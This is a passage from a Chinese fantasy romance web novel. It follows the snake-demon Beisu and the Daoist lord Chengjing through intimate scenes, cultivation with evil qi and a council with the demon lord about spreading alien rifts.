北溯用力捏了一下,男人身子弓着,差点挣开发带束缚,她停了手,忽然想到个问题,附耳问他:“你说舞宝是你生的。” 成镜滚动喉咙,低低应了一声。 “那你会有同女子一样的变化吗?” 成镜大脑空白,没有意识到她这句话的含义,没有说话。他僵滞了很久,女子又继续问:“这里,会变得和我一样吗?” 成镜终于反应过来,脸躁红一片,刚要说没有,胸口一痛,随即又碰上柔软。 他难以形容那种感觉,起先涌来的是身体被磕碰的疼,那疼很快带上了一丝酥麻,直到柔软包裹上来时,疼痛消失,只有她带来的感觉。 叫他情难自禁。 北溯咬了一口,软糯糯的,但是没有想象中的变化。一咬上去,男人直接挣开了发带,发现他要推自己,北溯换了个法子,稍微一动,让他直接卸了所有力气,没法反抗。 “怎么没有?” 男人紧咬着牙,手虚虚推着她脑袋,想推开她,似又不想,矛盾得什么动作都做不了。 她还在吮,一点都不顾及他的想法。 北溯不仅吸,还咬了一口,鼻腔里全都是他身上的味道,越来越浓。 她换了一边,也还是没有,松开他,问:“为什么喝不到?” 成镜额间青筋跳动,忍了很久,才缓过神,说起话来,尾音都是颤的:“需要在孕育期才有……” 北溯哦了一声,双眼一亮:“那你再生一个?” 男人瞬间张大眼,被欲望占据一半的眼中震惊:“你说什么?” 北溯只是开个玩笑,没想到吓到他了。 安抚地亲了一下他的唇,趴在他身上,下巴枕着他肩膀,懒洋洋的:“现在我和有那些记忆的,哪个对你好?” 成镜没想到她会问这个,身体还没缓过来,人已经下意识环住她的腰身,半晌没说话。 北溯没得到回答,抬头看他,一眼对上他专注的目光,她伸手捏了捏他耳垂,耳垂发烫,他看着像是被欺负过了一样,双眼朦胧,眼尾殷红,还有些水渍。 鬼使神差地去碰他的眼睛,睫毛一颤,闭上了眼,任由她摸。 薄唇张开,成镜几乎没有思考,直接说了出来:“你就是你,不用分有没有记忆。” 北溯直愣愣看他,忽然笑了出来:“真会说话。” 她撑起身子,想从他身上下来,却被他一把拉着撞回他怀里,他那身薄衫根本没防护左右,这么一撞,磕到被她咬的地方,又麻又痛。 痛呼声从成镜口中溢出,他忍着不说。北溯好笑看他,知道他疼,还使坏地去摁,被他禁锢住双手才停下。 “道君还想再来一次,仔细尝尝那滋味吗?” 成镜蹙眉,问她:“你一直都是这般言语……”张开的唇合上,那个词他似乎说不出口。 北溯帮他说:“我一直都是这般言语粗鲁,怎么,道君很烦” 成镜只静静看着她,半天才找了个理由:“会教坏舞宝。” 北溯挑眉,再次捏了 一下他胸膛,听着男人低哑的声音,笑道:“道君怎么不说,我们这样会教坏舞宝?” 成镜的脸就没白回去过。 他好像找不到借口了,闭上嘴不再说话。 北溯瞧见了他边上的发带,居然还是完整的,这么经扯。 她把成镜拉起来,叫他坐好,自己跪坐在他身后,给他束发。其实她一直都没什么耐心,会给他梳头发,算是她来了兴趣,顺手做了而已。 “舞宝的辫子也是你梳的?” 成镜轻轻嗯了一声,“前些年是我,后来交给藕宝梳。” “从哪学的?” “四处问人,自己摸索。” 北溯不会梳头发,自己也只会扎个马尾辫,方便又快。 她像模像样地将成镜头发梳顺,再将他的发聚到手里,扎紧了打个结,就是给他束好头发了。 “好了,照镜子看看吧。” 北溯凝出一面镜子,递到成镜面前,成镜还没看,她倒是先笑了。还得是你这张脸好看,撑得起来。 成镜没有看镜中的自己,女子的身影倒映在镜中,他只看着她,慢慢弯了唇。 “天綪找你什么事?” 镜子消散,成镜道:“异种裂缝和大比。” 北溯大致猜到是这两件事,她随口一问:“是让你继续救被异种攻击的城池?” “嗯。” 北溯仔细瞧这个男人的背,宽阔,结实,天塌了都能撑住。她也是背负过一族存亡职责的,知道他身上的担子有多重。 她沉默了一会,忽然说:“你死了,我就把舞宝带走。她在人界不安全。” 既然是她的孩子,必然有妖族血脉,她不信人族能善待一个有妖族血统的孩子。 男人缄默不言。 “你又不让我带走舞宝,又没法抽身,世间哪有那么好的事,什么都能实现。” 北溯起身,下了床,走出一步,被握住手。 男人的声音从身后传来:“我会处理好一切。” 他说这句话时,嗓子很干,很久才将话说出来。 “等你处理好再说。” 北溯抽出手,走到门口,发现结界还在,她冲结界指了指,却被男人盯着,让她回去。 “我说了,晚上留在这里。” 北溯气笑了:“我问你为什么,你怎么不说?” 成镜不想说,那是自己的私欲,他们都清楚,不过是她想看他出丑罢了。 “你睡床。”成镜起身,走了一步,动作一顿。 他的薄衫拉扯间早就扯开,这个时候再站起来,顺着肩头滑落,胸膛一半暴露在空气中,微微颤了颤,没有再动。 绯红从他脸上蔓延到脖颈,再到胸膛,他像是被煮熟了,只要剥开外壳,就能吃了他。 成镜被定在原地,视线凝固在自己胸前,好一会才抬头看面前的女子。 他的眼神闪躲,匆匆抬手把衣衫拎到脖颈,随后就不知道该做什么。 北溯只看着他,有点渴。 之前确实是抱着逗弄他的心思,现在么,只能说这人太会勾引人,随便动一下,都能激出她心底隐藏的欲望。 她朝他走过去,他一手摁着衣衫,往后退一步,抬起眼睫防备看她。 “你要做什么?” 北溯笑。 “你猜呢。” 她再往他走了一步,成镜后退,腿已经碰到床沿,再往后,就是床。 之前被她压的一幕幕闪现,曾经被她激起的私欲再次涌出来,压在他身上,要他臣服,要他遵从身体本能,和眼前女子一同入云端。 她离得更近了。 北溯抬手,拉着他一起躺下,却没有继续。 “闭眼,睡觉。” 她将男人推到里面,自己睡在外头,侧着身子,手摸进他衣服里,放在他腹部,环住他的腰。 他推拒的时候,她直接动手掐他:“别动,睡觉。” 她一本正经地说睡觉,要不是手在他衣衫里,看起来挺像那么一回事。 成镜只能躺直了,逼自己不要动别的念头,脑子里念清心咒。 但没有用。 她的存在感太强烈,一呼一吸,注意力全被她牵动,直到她气息平稳,真的睡着了,他还在煎熬中。 他本想等她睡着就去处理自己,结果一动,她就勒得更紧,跟蛇一样。 成镜无奈笑了笑,她确实是条蛇,缠着他不放。 他凝出莲台,用灵气蕴养她的身体。 寝殿内安静得只有他们彼此的呼吸声,难得的温馨。 成镜偏了头,眼里只有她一人。 等了十年,你终于回来了。 北溯醒来后,边上已经没了那人,她坐在床上看了会边上空荡荡的位置,张开双臂,下床。 舞宝去上早课了,成镜不在,整个重莲殿只有她一人。 她去舞宝寝殿里逛了一圈,小姑娘给她留了字条:“我和藕宝去张伯伯那啦,你想来也可以来哦!” 北溯还真就去了。 她走在水栈上,看到自己在水面的倒影,冲水里的自己笑了一下,水里的自己也冲她笑。 她仰起头,朝禁阵走去。 说实话,北溯之前确实有过迷茫,尤其是刚醒来那会,物是人非,一切都不一样了。 她在想,自己之前所期望的,如今真的实现了。但后来发现,只实现了一半。 成镜在约束三界,若是成镜一死,三界必然还有一场争斗,她要做的,便是在这场争斗来之前,恢复力量,保护舞宝。 信仰不会消失,它会重新凝聚,再支撑你前行。 北溯走出禁阵,步上塘埂,瞧着里头盛开的莲花,摘了一朵。 正在吞云殿的成镜动了一下手,感觉到手指被人捏着,还来回搓。 猜到是北溯出了重莲殿,摘了莲花,成镜面不改色,继续听星峦汇报大比的准备事宜。 只是那摘莲花的人一点都不安静,来回折腾,成镜只好暂时隔绝共感,仔细听星峦的汇报。 “再过二十日便是大比,我等已经在筛选参加大比的弟子,道君这只是那一名弟子参加?” 成镜点了头。 “我这便记上去。”星峦又说:“不过这次比试要比招新大典重要,来的弟子人数也多,防护措施还是得做好。且这些日子异种裂缝越来越活跃,若是引来异种,这怕是还得道君帮着解决。” 成镜点了头。 星峦正要对天綪说都已经汇报完毕,正要离开时,就听成镜质问天綪:“你派人去督查门,让他们搜查妖魔两界?” 星峦心一惊,转头望天綪。 天綪直接叫他们走。 星峦欲言又止,最终还是执事和弟子们离开。 “是我吩咐的,道君有异议?” 成镜并不支持她这么做:“若无证据,只会让妖魔两界认为人界故意栽赃,只会挑起争端。” 天綪却道:“他们想害人界,会将证据放在您面前?不查,怎么能找到证据?” “此举不妥,我会告诉督查门,让他们收手。” 成镜与魔界的合作没有告诉天綪,天綪会怀疑无可厚非,但她直接越过他去安排,显然是想先斩后奏,避开他。 “道君此刻去阻止也晚了。”天綪冷声到:“事关人界安危,我不能看着不管,道君想三界和平的心是好的,可道君可曾想过,我们人界不愿起争端,妖魔两界会放过我们吗?” 成镜可以告诉她,妖魔两界不会伤害人界,但他还没查清楚,月神的存在不可冒然暴露。 “我会彻底消灭异种的存在。” 他最终也只留下这一句话,直接走了。 天綪冷笑:“你若是能彻底消灭,这世间便不会有神。” 成镜顺着感应去了小屋,女子坐在小姑娘旁边,一起认真听着课。 他看了一会,走了。 北溯若有所觉地朝屋外看去,低声道:“我出去看看,你先学。” “好哦。”鳞舞乖乖点头,看了一会,继续听张伯伯讲课。 北溯看到成镜在凉亭里站着,走过去伸出手,“喏,送你。” 她摘了朵莲花送给他。 成镜接过来,说了声谢谢。 他垂眸看着这朵莲花,人生第一次被送花,不知道要回什么,将莲花掰开,剥出莲子递给她:“可以疗伤。” 北溯没想到自己送出的花被剥了,还送回来了,伸手接过莲子,看了会,拉起成镜的手塞回去。 “你伤好了吗?” 成镜想说已经好了,但他没这么说:“还没好全。” 北溯指了一下莲子,让他吃。 “你这莲池里的东西这么多,受伤了就自己摘了吃。”她问:“大比还有多久?” “二十日。” “那我要是在大比那天暴露了身份,你要怎么处理?”北溯盯着他的眼,只看到他平淡如水的眸子,淡淡说出一句:“按规矩处理。” 北溯没再说,转身往回走,边走边摆手:“我去陪舞宝了。” 成镜却道:“你与舞宝说一声,随我回重莲殿,我教你修炼。” 北溯脚步顿下,想笑,但忍着说了个好,“道君这个时候才想起来自己还有个徒弟?” 成镜不是很喜欢她称自己为徒弟,但没有说出来。 鳞舞遗憾地说了好,朝张伯伯眨眼,示意他放自己走,谁知道张伯伯眼花,没看见,让她继续学功课。 她只好向阿娘挥手,眼巴巴看阿娘回去。 主殿里只有一个莲台,成镜坐上去,北溯只能站着。她其实不用成镜交,但他说的却是修邪气,立刻有了兴趣。 “你还没告诉我,这东西哪来的。” 成镜没说,只让她尝试吸收他身上的邪气。 北溯对吸收邪气很熟练,意识一动,邪气就自发地往身体里涌。但她很快发现,成镜脸色不对劲。似乎她吸收邪气的同时,他会痛苦。 北溯停了下来,他喘着气,眼神犀利,冲她喊:“别停,继续。” 他都手撑着莲台,身子都直不起来,还让她继续,这人不会痛的吗? 她没有继续,问他:“刚才剥的莲子呢?吃了。” 成镜没动,只皱眉看她。 他不动,北溯也不动,就看谁撑得住。 最终还是成镜拿出莲子,看着北溯吃了莲子,“可以了?” 北溯这才继续吸收邪气,不知是莲子效果好,还是成镜刻意忍着,他没再露出痛苦的表情,但撑着莲台的手臂一直再抖。 大致猜到这东西对自己很重要,北溯没停,一直吸收。邪气进入身体如同归家,很适应,身体也没有排斥的迹象。 北溯忍不住吸收的速度加快了一会,成镜一口血喷出来,倒在了莲台上。 她望着源源不断涌到自己身体里的邪气,走到成镜边上,他半阖着眼,呼吸急促,“别停……” 北溯没有停,这些邪气自己往她身体里钻,根本不用她动手。她低头俯视这个脆弱的男人,忽然觉得他真的不是一般的能忍。 昨晚她那么咬,他也没叫出来。 现在分明很痛苦,他忍着不说。 “你的莲子呢?” 成镜没有拿莲子,双手握紧,将喉咙的血咽下去,缓了一会,撑着莲台直起身,凝出莲台,缩小后为自己提供灵气,支撑自己保持清醒。 他吐出两个字:“继续。” 北溯能感觉到随着越来越多的邪气进入身体,先前的虚弱逐渐褪去,身体内空缺的那一部分被邪气填补,待完全填补好,不会再出现变回原形的突发情况。 但她还是不知道,这邪气与自己有什么渊源,又为什么会在成镜身上。 她没再吸收,主动断开。 成镜瞬间倒下,她跳上了莲台,接住他。 成镜的伴生莲回到他体内,他人意识模糊,只知道自己在北溯怀里。 双眼睁开,看到她的身影,他以为那又是梦,等他完全清醒,她就会消散。 成镜伸手,捏住她的衣角,唇张开,费力地说出两个字,他的声音太低了,一说出来,消散在空气中,谁也没听清。 北溯低头,凑到他唇边,“你说什么?” 成镜紧紧攥着她的衣衫,所有的力气全都用在抓住她衣衫上,没有力气再说一遍。 他忍着邪气在灵脉里冲撞的痛,忽然笑了一下。尽管很痛,但能再看到她,这些痛又算得了什么。 别走…… 他永远记得,她死之前,见她的最后一面。 她就这么抛下了他,头也不回,直接走了。 成镜无数次梦中,都有这一幕。 这是他十数年的梦魇,怎么都忘不了。 眉心的莲花印记闪烁,荧光被暗色取代,那是入魔的前兆。 头发遮着额头,北溯没看到,她侧着都,耳朵贴着他的唇,还是没听到他刚刚说了什么。 “傻子。” 北溯直起身,看了他一会,要去摘莲子,刚走了两步,腰间一紧,低头一看,衣衫被他紧紧抓着,手背全是青筋,可见有多用力。 她一根根掰开,让他好好躺着,自己去摘莲子。一颗一颗剥太慢,她直接用邪气削断莲梗,将莲蓬炸开,收了莲子就往回走。 也不管他能不能吞下,全都往他嘴里灌。 这东西是灵气做的,入口即化,倒是不用她费力喂。 她在边上守了会,不见人醒,干脆坐在地上去消化吸收来的邪气。半个时辰后,感知到边上气息变化,她抬眼去看。 趴在莲台上的男人垂头,与地上坐着的女子对视,他的发凌乱披散,唇角还有血渍,狼狈不已,而她整整齐齐,没有一丝不堪。 从遇到她起,他一直都是这样,在她面前展现了所有的不堪,而她,却什么变化都没有。 成镜颤着手,难受地想,他被这条蛇,吃得死死的。 明明可以杀了她报仇,可他却舍不得她死。 “你还好吗?” 成镜觉得自己不好,很不好。 第68章 “无事。” 成镜最终什么都没有说,撑着坐起身,余光瞥见敞开的衣领,没有避开北溯,抬手去整理。 北溯看得出来他在嘴硬,直接站起来走到他面前,俯视他。 成镜的动作一顿,没有说话,理好衣领,正要说些什么时,白皙的指腹擦过唇角,他还未回神,手已经离开。 北溯捻开血渍,随口说了一句:“邪气与你相冲?” 成镜没有作声,垂了眸,看到她垂下的手上,那残留的一抹红。方才试探过,直接让她吸收,他的身体受不了。 只有那个方法…… “今日先到此为止,改日再继续。”他说完,正要叫北溯自己去修炼,她却俯下身子,双手按在他身子两侧的莲台上,直直望着他。 “怎么我回回问你话,你都不回答?” 成镜被迫与她对视,眼底闪过慌乱,很快调整好,声音平静:“那些你不需要知道。” 北溯看了他一会,直起身,就这么站在他面前,一句话不说,也不走。 她不是那种有话都藏着的人,但要是遇到犟的,她能比他还犟。 “不说?”她朝外头看了眼,哼笑:“那我现在就带舞宝走。” 话音刚落,手立刻被抓住,男人低着头,依旧没说话,但他握得很紧,不想让她走,也不想告诉她。 “你一直都这么犟的?”北溯蹙眉,掐着他下巴,逼他看自己。 成镜抬起眼看她时,仍旧抿唇,不说。 北溯很少被人吃得这么死,耐心问他,他不说,又舍不得真下手逼他说。 以前审讯时不说的,在她手里过不了几轮拷打,直接求饶。哪像他,软的不吃,非要叫她来硬的? “你会知道的。”成镜终究只说了这么一句,手无意识地捏了捏她手腕,又加了一句:“很快。” 北溯不想等他嘴里的很快,只想现在就知道。前几日这么问他,他不说,她还真就没什么兴趣知道。今日来劲了,偏要知道。 她直接抽出手,速度很快,凝出绳子绑住他,捏着他的下巴微微用力,逼近他,压低声音:“你若是不说,我就将你带到一重山,让道宗弟子看看你现在的模样。” “堂堂道君,居然被他的弟子绑着。”北溯又动手扯开他的衣领,再在他脖颈上拧了两下,现在一看,确实很像被人欺负过,但…… 他别开眼,抿唇不言,白皙脖颈上几点殷红,身子被紧紧绑着,衣衫紧贴身体,呼吸间胸膛起伏,健硕的身体轮廓尤为清晰。 分明衣衫穿得好好的,却透着一股子涩气。 北溯看了会,突然说:“你是故意的吧。” 成镜不解,转头看她。 他的眼里泛着迷茫,眼是好看的,鼻子是挺翘的,唇微张,仰起头时,脖颈挺直,脖颈线条流畅,凸起的喉结微动,被她绑着,也不挣扎。 很难说不是故意被她绑住。 北溯冷笑一声,按着他胸口之前被自己咬的位置,一字一句道:“你,故意,勾引我。” 说到后面几个字时,成镜蓦地移开眼,半晌才说出一句话:“没有。” 他说这句话时,眼睫一直颤,侧着脑袋,正好露出耳朵。他不适合撒谎,一撒谎,耳朵就红。 北溯伸手碰了一下他耳垂,有点烫。 目光转到他因为偏头,而显得棱角格外分明的侧脸,这张脸宛如上天最好的杰作,不论从哪个角度看,都是极为好看的。 “还说不是故意。” 北溯总觉 得这男人身上有什么极为魅惑人的东西,随随便便一个动作,就能勾起她心底那股子想要将他压倒狠狠咬一口的欲望。 不过现在是白天,不好干这事。 松了绳子,他衣衫质地很好,没有留一丝痕迹。 他动了动胳膊,一直垂着眼,没有看她。双手捏紧,藏在衣袖里,他心底因北溯短短几句话掀起的海浪,只有他自己知道。 “好好养伤。”北溯没再问,只是看着他。 说不出那种感觉,只觉得这个人,哪哪都极其符合她的心意,像是按着她的喜好造的。 她忽然问:“你比我小吧?” 成镜身子一僵,缓缓点了头。 北溯蹙眉,仔细看他,想起来他说舞宝是他生的,他怎么生?还有之前他弄出来的莲台,那东西显然和他身体有联系,他是人吗? “你是不是莲花修炼成精的?” 成镜这次什么都没有说,直接下了莲台,头也不回地走了。 北溯眨了一下眼,觉得自己没说什么,他走什么?她没跟上去,自己上了莲台坐下在想成镜是不是莲花成精。 若是莲花成精,那也能说得通,雌蕊和雄蕊都有,那他能自己给自己生孩子? 北溯被自己的猜想逗笑了。 收了思绪,将体内的邪气运转几个周天,身体里的力量确实充盈了很多。她在指尖凝了一团火,想到了凤鸣。 思绪放空,逐渐飘远。 被北溯一句话气走的男人此刻站在水栈上,低头看水面上自己的倒影。 眼底情绪复杂得他自己分辨不清。 之前觉得她没了以前的记忆是好事,而现在,她每次问到她曾经已经知道的事,尤其是关于他的,心中不由自主地感觉到失落,甚至难受。 起初她就是冲着他的莲身而来,现在她不记得了。 成镜不想解释。 心中烦躁。 知道自己现在不该被这些事困住,还有更要紧的事等着他去做,但还是无法控制。 早在被她拉进那梦境里,被她占据时,他的理智便已经被摧毁。一碰到与她有关的事,无法保持冷静。 他俯身,指尖碰着水面,触碰到一手的冰凉。 不知想到什么,他笑了笑。 清淡的笑容只展露了那么一瞬间。 成镜站起了身,将手上水渍甩干,随后朝主殿望去。他其实该庆幸她还活着,这样,即使他不在了,鳞舞也有人照顾。 他没有回主殿,缓了一会,出了重莲殿。 北溯发现他不在的时候,是舞宝回来,问她怎么不和成镜在一起。 “你爹他忙得很。” 北溯捏了一下小姑娘的脸,朝她寝殿指了一下,眼神示意她进去。 鳞舞失望地小声说了一句:“怎么阿娘也和爹爹一样,总盯着我学功课啊。” 藕宝屁颠屁颠跟着鳞舞一起进去。 北溯不知道成镜在做什么,但能感觉到,他不太对劲。 几次接触下来,这人是个极其能忍的,他说“很快”这两个字时,情绪很不对。 他若是要保护人族,这就与她无关,她也不会去帮他。但若是殃及到舞宝,这可不行。 北溯朝里头看,舞宝正将册子从布包里拿出来,还和藕宝叽里呱啦说悄悄话。 她看着,笑了一下。小姑娘以为自己藏得很好,实则她几次都听出小姑娘在喊自己阿娘。 这个称呼很微妙,一声一声喊着,带着某种隐秘的期许。喊的人充满期待,听的人心头暖暖的。 北溯抬手,看到邪气指向道宗外。她冲两个小人说自己要出去,让她们乖乖待在重莲殿里,不要出去。 鳞舞和藕宝齐齐点头,眼巴巴看她离开。 等她出了禁阵,两个小人立刻扒着门,你一句我一句猜测:“阿娘是去找爹爹了吗?” “有可能,主母好像挺关心道君的。” 鳞舞不高兴了:“那你觉得我和爹爹,阿娘更关心谁?” 藕宝摸摸自己圆溜溜的脑袋,立刻说:“肯定是你!主母最关心的就是你!” 鳞舞这才高兴地露出笑,两只手握住自己的小辫子,得意道:“那当然了,我可是阿娘的心肝宝贝!” 藕宝疑惑问她:“你是从哪里学来的这个词语?” “张伯伯教我的!” 鳞舞一蹦一跳回到书桌边,继续复习功课。 “我要拿好多个甲,给阿娘看!我可比爹爹聪明多了!” 禁阵外,一道隐匿的法阵生了效,黑衣人影一闪而过,片刻后,北溯的身影显现。 她出来后,刻意离得远了,才用隐息术回来,施展了法阵,在边上等着,看看是不是会有人来,果不其然,成镜一走,就有人来试探禁阵。 她弄的法阵会在人身上留下邪气,只要她靠近那人,就知道来的是谁。 不过也不用去查,差不多能猜出来,要么是天綪,要么是实力在天綪之上的人。 舞宝在小破屋那时,天綪没有动手,反而在舞宝回了重莲殿,成镜不在时,接近此处。 北溯瞧了眼禁阵上的金纹,没有受损的痕迹,方才那人不是在摧毁禁阵,而是在拿什么东西试探着能不能开启。 能储存人身上气息的法器没几个,能从成镜身上获取他的气息,手法更是要天衣无缝。 看来这个人,是想进禁阵里头,对舞宝做些什么。 北溯抬头,看向九重山巅。 以她现在的实力,对上天綪胜算不高。 忽地又想到了成镜,他说的很快,是不是与邪气有关…… 目光转向邪气蔓延的方向,她看了眼完好的禁阵,直接出了道宗。 她没想到,成镜竟然在魔界。 站在破损的界碑前,莫名想起了成镜那句给她收尸,她转而看向周围,自己就是死在这里的? 北溯以为自己能悄悄找到成镜,没想到不过是站了一会,反被他找到了。 “你怎么来了?” 北溯转身面向这个去哪都不和她说一声的男人,环起双臂,道:“天綪要破你的禁阵。” 成镜蹙眉,面上反而没有担忧之色:“她破不开。”他打量她,眸色认真,顿了会,说:“我在和魔尊商议如何处理异种裂缝。” 北溯哦了一声,没说第二句话。 她站着,也不走,也不说和他一起进去。 “你……”成镜似乎不知道该说什么,只望着她,心里说了好几遍的那句话,怎么都说不出口。 北溯等了好一会,也不见这人叫自己一起进去,觉得自己也被他带坏了,有话都不说出来。 憋了好一会,她才说:“道君不叫我一起去商议?好歹我也是你收的徒弟。” 说完,她又换了个调子,唤他:“师尊。” 成镜不知道想到什么,忽然又红了耳,往边上让了一步,只点了头,转身就往里走。 北溯真好奇,这人想哪去了,这么容易耳红。 她看到了魔界尊主,和她那会知道的魔尊一样,没变。这只九尾狐曾经也是妖族厉害的大将,但后来与妖界决裂,堕魔了。 说起来,也不知是不是妖界风水差,好多厉害的妖兽都与妖界决裂了,自己也是其中一个。 “这位是……”冉姬瑶惊愕于成镜离开一会便带了个女子回来,看他们之间的状态,似乎关系不浅。但他不是为邪神守寡多年吗?这么快就…… “这是我的弟子。”成镜简单介绍了一句,看到北溯要坐自己对面,直接拉着她坐自己旁边。 他似乎没注意到自己举动对于师徒来说,过于亲密,坐下后,对冉姬瑶说:“你继续。” 冉姬瑶回神,继续说:“我们派人去查过,异种身上的魔气在与原本的妖气融合,融合的力量能威胁到妖兽和魔,必须要重视。” 北溯没想到现在的异种已经发展到这个地步,不仅能灭人族,现在还能伤害妖魔,这么一看,这东西发展起来,三界不得安宁。 “另外,魔界中间的深渊里,”冉姬瑶艰难开口:“我们发现了大量异种,它们的数量数不清,一直在往上爬。” “因为深渊太过危险,我们不敢深入,但能探测到的最深距离,少说也有上千只。” 发现后,冉姬瑶立刻给成镜传信,一刻也不敢耽搁。 “我们怀疑,异种裂缝里的异种,都在深渊底下。深渊里的魔气比外界更浓郁,可能是他们长时间待在里面,被魔气异化了。” 北溯听着,偏头看成镜,他面容冷峻,已经看不出他之前羞涩的模样。 她在想,也许成镜在谋划的,就是除掉异种。 但这东西,哪这么简单就能除掉。 一旦裂缝大面积出现在人界,他怎么可能顶得住天罚,为人界所有地域降下雷雨。且这个法子只能驱赶走异种裂缝,无法彻底毁灭。 这是死局。 “我知道了。”成镜的声音很平静:“若有其他发现,立刻告知我。” 他站起身,转而看向北溯。 北溯仰头,看着他不说话,也没起来。 两人就这么对视,这一幕落到对面的冉姬瑶眼里,越发惊叹。 若是当初那位邪神还在,说不定有办法解决。 “目前没有发现异种对妖魔能起到致命伤害,但这是早晚的事,道君若是有办法灭了异种,我与魔界所有魔族,将会奉您为尊,魔界所有魔族供您驱使。”冉姬瑶已经拿出诚意,剩下的只能靠成镜。 他只说了声不必,依旧看着北溯。 北溯朝他扬起笑,看得他一阵失神,随后就听到她说:“你要怎么灭异种?用命?” 她的声音回荡在殿内,寂静的大殿里,没有人接她的话。 “再受三道天罚,倒在地上不省人事” “除了你,谁还能受得住天罚,不会死?” 北溯觉得胸口堵了一股气,散不出来。从没见过这样大公无私的人,他怎么就这么善良,怎么就这么正义,竟然妄想一人就揽下保护三界安危的担子,真就以为自己是神,什么都能做得到? 冉姬瑶不知道这师徒二人间发生了什么,忽然就开始吵架了,但这也不是她能管得了的,将空间让给他们,自己先走了。 “我并未这么说过——” “但你很快就要这么做了!”北溯站起来,发现自己要仰头看他,将人拉着一把按到自己座位上,双手撑在两侧扶手上,俯身凝视他。 “你看着我的眼睛,你敢说,你不会那么做吗?” 男人滚动着喉头,默默移开了眼。 北溯嗤笑一声,“看,你都不敢看我。” 成镜不知道她为什么突然生气,自己一步一步走得很稳,从没露出过马脚,她怎么会知道? “我只是……”一开口,喉咙发涩,接下来的话怎么也编不出来。 他确实想的就是先顶住天罚,能救一个算一个。这世间不可再被摧毁,先前他只是为了修炼,飞升,去仙界找到庇护人间的法子。 但现在,他多了想守护的人。 而仙界,也并非是个安全之所。 成镜开不了口,他骗不了面前的女子。 “怎么不编谎话骗我了?”北溯气笑了,好不容易逮到个符合自己心意的人,虽说也没想着能和他走多远,但现下是满意的。 她将这人视作自己的所有物,还想着保护他,结果这人完全不把她当成一回事。 “既然你已经打算好了,就不该来招惹我。”北溯伏低身子,直接跨坐在他腿上,气得只想教训这个男人。 “招新大典那天接近我,还变成那副容貌,你说你是不是存了故意吸引我注意的心思?” 她的气息逼近,成镜呼吸一窒,心口有什么东西跳得非常快。 他想说没有,蹩脚的谎言还没说出来,就被堵住。 北溯一口咬住了他的唇,不让他说谎话,将他所有准备好欺骗她的话,堵回去。 她的身子几乎嵌在他怀里,气到理智被抛开,直接在别人的地盘,惩罚这个口是心非的男人。 成镜的身体在叫嚣着沉沦,理智告诉自己不能。他矛盾地一手环住她的腰,一手去抵着她的肩膀做出了推她的姿势。 吻裹挟着火气,让他清醒又沉沦。 被咬疼了,也不推开她,反而放松了身子,主动安抚她。 他轻轻地回应着,在她柔软的舌扫进来时,勾了一下,得到是更猛烈的攻势。 北溯很少这么失控地,近乎发泄地咬一个人,这都不是吻。她粗鲁地咬着他的唇瓣,要用力时,本能告诉她,太用力,他会被咬坏的。 所以她只能卸了力气,改为吮吸,但这样又没法发泄自己的火气。 她知道自己的火来得莫名其妙,但就是不想管是否合理,只想发泄。 她知道被所有人寄于重望时,肩头的担子有多重,像座山,压得人根本抬不起头来。 这样重的责任,他怎么能轻易就答应? 吻似乎解不了她的气,她直接动手,拆了他的腰封,手探进他的衣衫里,拂过他快速起伏的胸膛,触碰到腹部紧实的肌肉,再移到腰侧,使劲捏了一把。 男人的闷哼被吻堵住,他伸手按住她的手,被她一把挥开。 北溯稍稍起身,看到男人此刻涟漪眸光,莲香荡开,激起心中欲望。 “你最好不要再惹我生气。” 她说完这句话,空着的左手掐住他的下巴,再次覆上去。 她早就想吃了这个男人,次次忍着,顾及他受伤,没有下重手,他却不领情。 那她还忍什么? 不听话,吃了就好了。 北溯不知道此刻的自己在成镜眼里,是多么的夺目,多么的艳丽。 他睁着的眼痴痴望着她,在她死后的那十年里,从没想过,自己还会有这么一天,再次被她这样对待。 他觉得自己可能是被她弄得上了瘾,对这种事,居然丝毫没有抵抗力。 唇一痛,麻麻的感觉袭来,这次她没心软,很用力。 她完全压在自己身上,身后的椅子太硬,膈骨头。 他动了动,却被她以为要挣扎,松开他下巴,一手按着他肩头,撞到椅背上。 他忍着没发出声音,双手环住她的腰身,被她侵入的唇合不上,越来越疼。 然而身体逐渐涌上酥爽之意,驱走了理智,让他有的,只是情欲。 探进来的手受到了衣衫的阻碍,无法往下。 北溯直接撕开他的衣衫,胸膛暴露在空气中,冰凉的衣衫紧贴胸膛,与身体里的情欲冲撞,理智忽然回笼。 成镜睁开眼,被欲色充斥的眼中,理智挣扎。 他感觉到那只手在身上游移,所到之处,皆是火热。 不可以—— 成镜托住她的身子,避开她的吻,说话时嘴唇都在疼:“不要在这里。” 他只顾着不能在魔界做这种事,完全没注意到自己说话时,嗓音沙哑,满是情欲的味道。 他的唇一张一合,覆盖唇面的银膜缓缓汇聚,沿着唇角滑落。 他在说完这句话后,立刻发现了北溯的异样。 她像是盯着猎物,那眼神只有将猎物拆 吃入腹的渴望。 “为什么不可以?” 北溯的声音也是哑的,却带着魅惑,好听得令人陶醉。 她抬手抹去男人唇角的银丝,竖瞳紧紧盯着他,笑容艳丽,却危险。 蛇盯上了她的猎物,想吃了猎物,猎物却说不可以。 蛇怎么会答应猎物。 她才是猎物命运的主宰者。 北溯俯下身子,咬住他的喉结。 刺啦一声,成镜脑中紧绷的线彻底断了。 “我,唔——” 第69章 似软,又尖锐。 这是成镜第一感觉,喉结被叼着,被咬了又咬,有点疼,但更多的是酥麻。 他想推开她,不想在这里做这种事,尤其是坐在椅子上,后背抵着椅背,没有一点安全感。 随时都有可能被发现。 温软的唇松开了他的喉结,咬住颈侧,轻轻一扯,他没能忍住,发出一声破碎的痛呼。 冰凉的发丝垂到胸前,刮擦着肌肤,有点刺挠,还有种难以言喻的感觉。像是被她包裹住,身体每一处,都在她的触碰下。 成镜低低喘了口气,艰难开口:“回去,好吗?”他的手揽着女子的腰,逐渐扣紧,难抑地掐住她腰肢,却没再进一步。 这个时候,他必须保持清醒。 北溯五指张开,摁着他的胸膛,挺起身,垂头看他。发丝挡到视线,她抬手撩开,嗅着浓郁得像是把莲花凑到鼻尖的莲香,缓缓笑了。 “我若非要在这里呢?” 成镜双臂环在她腰间,瞧着她此刻被情欲染上的艳色,即使不是她真容,也好看极了。 他望着这样的她,舍不得移开目光,险些就被她蛊惑得失了心智,动摇内心。 他张了唇,哑声说出两个字:“不可。” 北溯没理他,手指点了一下他眉心莲花印记,忽然发现这朵莲花又开了两瓣,指腹摩挲,嗓音掺了些欲味,哑哑的,又有几分散漫。 “可你有反应了。” 成镜轰然红了脸,猛地闭上眼,气息不稳。 